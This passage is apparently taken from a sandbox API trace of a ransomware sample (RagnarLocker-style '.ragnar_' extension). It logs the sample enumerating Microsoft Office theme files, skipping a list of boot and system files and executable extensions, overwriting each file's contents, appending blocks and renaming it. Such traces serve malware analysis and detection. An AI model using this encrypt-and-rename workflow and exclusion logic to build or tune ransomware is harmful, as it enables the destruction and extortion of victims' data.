dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.755] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=245451) returned 1 [0094.755] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x3bec2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.755] GetProcessHeap () returned 0x580000 [0094.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.755] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.756] VirtualAlloc (lpAddress=0x0, dwSize=0x3becb, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.757] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.757] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.757] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3becb, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x3becb, lpOverlapped=0x0) returned 1 [0094.762] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.763] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3becb, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.763] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3becb, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x3becb, lpOverlapped=0x0) returned 1 [0094.764] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3becb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.764] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.765] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x3becb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.765] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.765] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.765] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.766] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.766] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.766] GetProcessHeap () returned 0x580000 [0094.766] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.766] CloseHandle (hObject=0x98) returned 1 [0094.766] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" [0094.766] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx.ragnar_FD7BD9FC" [0094.766] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.767] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157d6500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x157d6500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x146a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.thmx", cAlternateFileName="MEDIAN~1.THM")) returned 1 [0094.767] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.767] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Median.thmx" | out: lpString1="Median.thmx") returned="Median.thmx" [0094.767] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx") returned=".thmx" [0094.767] lstrcmpiW (lpString1="Median.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.767] lstrcmpiW (lpString1="Median.thmx", lpString2="autorun.inf") returned 1 [0094.767] lstrcmpiW (lpString1="Median.thmx", lpString2="boot.ini") returned 1 [0094.767] lstrcmpiW (lpString1="Median.thmx", lpString2="bootfont.bin") returned 1 [0094.767] lstrcmpiW (lpString1="Median.thmx", lpString2="bootsect.bak") returned 1 [0094.767] lstrcmpiW (lpString1="Median.thmx", lpString2="bootmgr") returned 1 [0094.767] lstrcmpiW (lpString1="Median.thmx", lpString2="bootmgr.efi") returned 1 [0094.767] lstrcmpiW (lpString1="Median.thmx", lpString2="bootmgfw.efi") returned 1 [0094.767] lstrcmpiW (lpString1="Median.thmx", lpString2="desktop.ini") returned 1 [0094.767] lstrcmpiW (lpString1="Median.thmx", lpString2="iconcache.db") returned 1 [0094.767] lstrcmpiW (lpString1="Median.thmx", lpString2="ntldr") returned -1 [0094.767] lstrcmpiW (lpString1="Median.thmx", lpString2="ntuser.dat") returned -1 [0094.767] lstrcmpiW (lpString1="Median.thmx", lpString2="ntuser.dat.log") returned -1 [0094.767] lstrcmpiW (lpString1="Median.thmx", lpString2="ntuser.ini") returned -1 [0094.767] lstrcmpiW (lpString1="Median.thmx", lpString2="thumbs.db") returned -1 [0094.767] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.767] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.767] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.767] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.767] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.767] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.767] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx")) returned 0x20 [0094.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.768] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=83623) returned 1 [0094.768] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x1469e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.768] GetProcessHeap () returned 0x580000 [0094.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.768] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.770] VirtualAlloc (lpAddress=0x0, dwSize=0x146a7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.770] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.770] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.770] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x146a7, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x146a7, lpOverlapped=0x0) returned 1 [0094.772] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.773] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x146a7, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.773] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x146a7, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x146a7, lpOverlapped=0x0) returned 1 [0094.773] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x146a7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.773] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.774] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x146a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.774] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.774] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.774] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.774] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.774] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.774] GetProcessHeap () returned 0x580000 [0094.774] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.774] CloseHandle (hObject=0x98) returned 1 [0094.774] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" [0094.774] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx.ragnar_FD7BD9FC" [0094.774] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.775] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1910ec00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1910ec00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.thmx", cAlternateFileName="METRO~1.THM")) returned 1 [0094.775] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.775] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Metro.thmx" | out: lpString1="Metro.thmx") returned="Metro.thmx" [0094.775] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx") returned=".thmx" [0094.775] lstrcmpiW (lpString1="Metro.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.775] lstrcmpiW (lpString1="Metro.thmx", lpString2="autorun.inf") returned 1 [0094.775] lstrcmpiW (lpString1="Metro.thmx", lpString2="boot.ini") returned 1 [0094.775] lstrcmpiW (lpString1="Metro.thmx", lpString2="bootfont.bin") returned 1 [0094.775] lstrcmpiW (lpString1="Metro.thmx", lpString2="bootsect.bak") returned 1 [0094.775] lstrcmpiW (lpString1="Metro.thmx", lpString2="bootmgr") returned 1 [0094.775] lstrcmpiW (lpString1="Metro.thmx", lpString2="bootmgr.efi") returned 1 [0094.775] lstrcmpiW (lpString1="Metro.thmx", lpString2="bootmgfw.efi") returned 1 [0094.775] lstrcmpiW (lpString1="Metro.thmx", lpString2="desktop.ini") returned 1 [0094.775] lstrcmpiW (lpString1="Metro.thmx", lpString2="iconcache.db") returned 1 [0094.775] lstrcmpiW (lpString1="Metro.thmx", lpString2="ntldr") returned -1 [0094.775] lstrcmpiW (lpString1="Metro.thmx", lpString2="ntuser.dat") returned -1 [0094.775] lstrcmpiW (lpString1="Metro.thmx", lpString2="ntuser.dat.log") returned -1 [0094.775] lstrcmpiW (lpString1="Metro.thmx", lpString2="ntuser.ini") returned -1 [0094.775] lstrcmpiW (lpString1="Metro.thmx", lpString2="thumbs.db") returned -1 [0094.775] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.775] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.775] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.776] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.776] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.776] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.776] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx")) returned 0x20 [0094.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.776] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=80625) returned 1 [0094.776] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x13ae8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.776] GetProcessHeap () returned 0x580000 [0094.776] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.776] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.778] VirtualAlloc (lpAddress=0x0, dwSize=0x13af1, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.778] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.778] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.778] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x13af1, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x13af1, lpOverlapped=0x0) returned 1 [0094.780] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.781] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13af1, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.781] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x13af1, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0x13af1, lpOverlapped=0x0) returned 1 [0094.781] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13af1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.781] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.782] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x13af1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.782] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.782] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.782] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.782] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.782] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.782] GetProcessHeap () returned 0x580000 [0094.782] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.782] CloseHandle (hObject=0x98) returned 1 [0094.782] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" [0094.782] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx.ragnar_FD7BD9FC" [0094.782] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.783] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1583a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.thmx", cAlternateFileName="MODULE~1.THM")) returned 1 [0094.783] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.783] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Module.thmx" | out: lpString1="Module.thmx") returned="Module.thmx" [0094.783] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx") returned=".thmx" [0094.783] lstrcmpiW (lpString1="Module.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.783] lstrcmpiW (lpString1="Module.thmx", lpString2="autorun.inf") returned 1 [0094.783] lstrcmpiW (lpString1="Module.thmx", lpString2="boot.ini") returned 1 [0094.783] lstrcmpiW (lpString1="Module.thmx", lpString2="bootfont.bin") returned 1 [0094.783] lstrcmpiW (lpString1="Module.thmx", lpString2="bootsect.bak") returned 1 [0094.783] lstrcmpiW (lpString1="Module.thmx", lpString2="bootmgr") returned 1 [0094.783] lstrcmpiW (lpString1="Module.thmx", lpString2="bootmgr.efi") returned 1 [0094.783] lstrcmpiW (lpString1="Module.thmx", lpString2="bootmgfw.efi") returned 1 [0094.783] lstrcmpiW (lpString1="Module.thmx", lpString2="desktop.ini") returned 1 [0094.784] lstrcmpiW (lpString1="Module.thmx", lpString2="iconcache.db") returned 1 [0094.784] lstrcmpiW (lpString1="Module.thmx", lpString2="ntldr") returned -1 [0094.784] lstrcmpiW (lpString1="Module.thmx", lpString2="ntuser.dat") returned -1 [0094.784] lstrcmpiW (lpString1="Module.thmx", lpString2="ntuser.dat.log") returned -1 [0094.784] lstrcmpiW (lpString1="Module.thmx", lpString2="ntuser.ini") returned -1 [0094.784] lstrcmpiW (lpString1="Module.thmx", lpString2="thumbs.db") returned -1 [0094.784] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.784] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.784] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.784] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.784] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.784] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.784] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx")) returned 0x20 [0094.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Module.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\module.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.784] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=88122) returned 1 [0094.784] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x15831, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.785] GetProcessHeap () returned 0x580000 [0094.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.785] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.786] VirtualAlloc (lpAddress=0x0, dwSize=0x1583a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.786] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.786] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.787] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1583a, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0x1583a, lpOverlapped=0x0) returned 1 [0094.789] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.789] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1583a, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.789] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1583a, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: 